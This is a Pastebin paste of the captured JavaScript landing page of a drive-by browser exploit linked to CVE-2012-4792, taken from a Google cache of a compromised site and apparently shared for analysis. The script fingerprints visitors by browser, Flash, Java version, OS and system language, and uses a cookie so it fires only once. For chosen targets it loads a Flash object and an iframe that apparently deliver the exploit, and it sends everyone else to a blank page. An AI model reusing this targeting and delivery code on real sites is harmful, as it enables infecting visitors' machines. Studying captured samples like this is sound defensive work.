API tools faq
paste
Advertisement
Guest User

philam.com.tw CVE-2012-4792

a guest
Jan 3rd, 2013
815
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 5.76 KB | None | 0 0
raw download clone embed print report
  1. http://jsunpack.jeek.org/?report=f4698cfca7b3d9a656142aef18b8f4611ea9c107
  2.  
  3.  
  4. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  5. <base href="http://www.philam.com.tw/package/Helps.html"><div style="background:#fff;border:1px solid #999;margin:-1px -1px 0;padding:0;"><div style="background:#ddd;border:1px solid #999;color:#000;font:13px arial,sans-serif;font-weight:normal;margin:12px;padding:8px;text-align:left">Ceci est le cache Google de <a href="http://www.philam.com.tw/package/Helps.html" style="text-decoration:underline;color:#00c">http://www.philam.com.tw/package/Helps.html</a>. Il s&#39;agit d&#39;un instantané de la page telle qu&#39;elle était affichée le 27 déc. 2012 14:02:28 GMT. La <a href="http://www.philam.com.tw/package/Helps.html" style="text-decoration:underline;color:#00c">page actuelle</a> peut avoir changé depuis cette date. <a href="http://support.google.com/websearch/bin/answer.py?hl=fr&amp;p=cached&amp;answer=1687222" style="text-decoration:underline;color:#00c">En savoir plus</a><br>Astuce : Pour trouver rapidement votre terme de recherche sur cette page, appuyez sur <b>Ctrl+F</b> ou sur <b>⌘+F</b> (Mac), puis utilisez la barre de recherche.<br><br><div style="float:right"><a href="http://webcache.googleusercontent.com/search?q=cache:www.philam.com.tw/package/Helps.html&amp;hl=fr&amp;tbo=d&strip=1" style="text-decoration:underline;color:#00c">Version en texte seul</a></div>
  6. <div>&nbsp;</div></div></div><div style="position:relative">
  7. <html>
  8. <head>
  9. <script src=deployJava.js></script>
  10. <script type="text/javascript">
  11. function getCookieVal (offset)
  12. {
  13.     var endstr = document.cookie.indexOf (";", offset);
  14.     if (endstr == -1)
  15.     {
  16.         endstr = document.cookie.length;
  17.     }
  18.     return unescape(document.cookie.substring(offset, endstr));
  19. }
  20. function GetCookie (name)
  21. {
  22.     var arg = name + "=";
  23.     var alen = arg.length;
  24.     var clen = document.cookie.length;
  25.     var i = 0;
  26.     while (i < clen)
  27.        {
  28.        var j = i + alen;
  29.        if (document.cookie.substring(i, j) == arg)
  30.           return getCookieVal (j);
  31.        i = document.cookie.indexOf(" ", i) + 1;
  32.        if (i == 0)
  33.           break;
  34.        }
  35.     return null;
  36.     }
  37. function SetCookie (name, value)
  38. {
  39.     var argv = SetCookie.arguments;
  40.     var argc = SetCookie.arguments.length;
  41.     var expires = (2 < argc) ? argv[2] : null;
  42.     var path = (3 < argc) ? argv[3] : null;
  43.     var domain = (4 < argc) ? argv[4] : null;
  44.     var secure = (5 < argc) ? argv[5] : false;
  45.     document.cookie = name + "=" + escape (value) +
  46.       ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
  47.       ((path == null) ? "" : ("; path=" + path)) +
  48.       ((domain == null) ? "" : ("; domain=" + domain)) +
  49.          ((secure == true) ? "; secure" : "");
  50. }
  51. function DisplayInfo()
  52. {
  53.     var expdate = new Date();
  54.     var visit;
  55.     expdate.setTime(expdate.getTime() +  (24 * 60 * 60 * 1000*7 ));
  56.     if(!(visit = GetCookie("visit")))
  57.     visit = 0;
  58.     visit++;
  59.     SetCookie("visit", visit, expdate, "/", null, false);
  60.     return visit;
  61. }
  62. var ua = window.navigator.userAgent.toLowerCase();
  63.  
  64. if (ua.indexOf('msie 8.0') <0)
  65. {
  66.     location.href="about:blank";
  67. }
  68.  
  69.     var f = 0;
  70.     try {
  71.         f = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
  72.     }
  73.     catch (e) {
  74.     }
  75.     var g=typeof f;
  76.  
  77.     if(g!="object")
  78.     {
  79.         location.href="about:blank";
  80.     }
  81.     var h=navigator.systemLanguage.toLowerCase();
  82.    
  83.     if(h!="zh-cn" && h!="en-us" && h!= "zh-tw"&& h!= "ja" && h!= "ru"&&h!= "ko" )
  84.     {
  85.  
  86.         location.href="about:blank";
  87.     }
  88.  
  89. var num=DisplayInfo();
  90. if(num >1)
  91. {
  92.     location.href="about:blank";
  93. }
  94. function download()
  95. {  
  96.     var xmlhttp;
  97.       try
  98.       {
  99.         xmlhttp = new XMLHttpRequest();
  100.       }
  101.       catch (e)
  102.       {
  103.         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' );
  104.         var success = false;
  105.         for (var i=0;i < XMLHTTP_IDS.length && !success; i++)
  106.         {
  107.           try
  108.           {
  109.              xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]);
  110.              success = true;
  111.           } catch (e)
  112.           {}
  113.         }
  114.      }
  115.     function callback()
  116.     {
  117.         if(xmlhttp.readyState==4)
  118.         {
  119.             if(xmlhttp.status==200)
  120.             {
  121.                 var temp=ua.replace(/ /g,"");
  122.                 if (temp.indexOf("nt6.1")>-1) {
  123.                
  124.            
  125.                         if ((deployJava.versionCheck('1.6.0+') == true) && (deployJava.versionCheck('1.7.0+') == false)) {
  126.                        
  127.                            
  128.                             document.getElementById('test').innerHTML="default";
  129.                             document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
  130.                            
  131.                         }
  132.                         else
  133.                         {
  134.                          location.href="about:blank";
  135.                         }
  136.                 }
  137.                 else if(temp.indexOf("nt5.1")>-1)
  138.                 {
  139.                
  140.                     document.getElementById('test').innerHTML="cat";
  141.                     document.body.innerHTML += "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\" id=\"today\"><param name=\"movie\" value=\"today.swf\" /><param name=\"quality\" value=\"high\" /><param name=\"bgcolor\" value=\"#ffffff\" /><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"allowFullScreen\" value=\"true\" /></object><iframe src=news.html></iframe>";
  142.                            
  143.                 }
  144.                 else
  145.                 {
  146.                   location.href="about:blank";
  147.                 }  
  148.            
  149.             }
  150.         }
  151.     }
  152.     xmlhttp.open("get", "xsainfo.jpg", true);  
  153.     xmlhttp.onreadystatechange = callback;
  154.     xmlhttp.send(null);
  155. }
  156.  
  157. </script>
  158. </head>
  159. <body onload="download()">
  160. <div style=display:none>
  161. <div id=test>hello</div>
  162. </div>
  163. </body>
  164. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!